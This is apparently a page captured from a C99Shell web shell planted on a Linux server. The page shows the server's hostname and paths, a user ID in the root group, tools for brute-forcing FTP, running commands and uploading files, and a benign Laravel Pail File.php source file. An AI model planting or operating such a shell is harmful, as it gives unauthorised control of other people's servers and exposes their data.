!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/pail/src/   drwxr-xr-x
Free 28.41 GB of 117.98 GB (24.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     File.php (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Pail;

use 
Stringable;

class 
File implements Stringable
{
    
/**
     * The time to live of the file.
     */
    
protected const TTL 3600;

    
/**
     * Creates a new instance of the file.
     */
    
public function __construct(
        protected 
string $file,
    ) {
        
//
    
}

    
/**
     * Ensure the file exists.
     */
    
public function create(): void
    
{
        if (! 
$this->exists()) {
            
$directory dirname($this->file);

            if (! 
is_dir($directory)) {
                
mkdir($directory0755true);

                
file_put_contents($directory.'/.gitignore'"*\n!.gitignore\n");
            }

            
touch($this->file);
        }
    }

    
/**
     * Determines if the file exists.
     */
    
public function exists(): bool
    
{
        return 
file_exists($this->file);
    }

    
/**
     * Deletes the file.
     */
    
public function destroy(): void
    
{
        if (
$this->exists()) {
            
unlink($this->file);
        }
    }

    
/**
     * Log a log message to the file.
     *
     * @param  array<string, mixed>  $context
     */
    
public function log(string $levelstring $message, array $context = []): void
    
{
        if (
$this->isStale()) {
            
$this->destroy();

            return;
        }

        
$loggerFactory = new LoggerFactory($this);

        
$logger $loggerFactory->create();

        
$logger->log($level$message$context);
    }

    
/**
     * Returns the file as string.
     */
    
public function __toString(): string
    
{
        return 
$this->file;
    }

    
/**
     * Determines if the file is staled.
     */
    
protected function isStale(): bool
    
{
        
$modificationTime = @filemtime($this->file);

        if (
$modificationTime === false) {
            return 
true;
        }

        return 
time() - $modificationTime > static::TTL;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--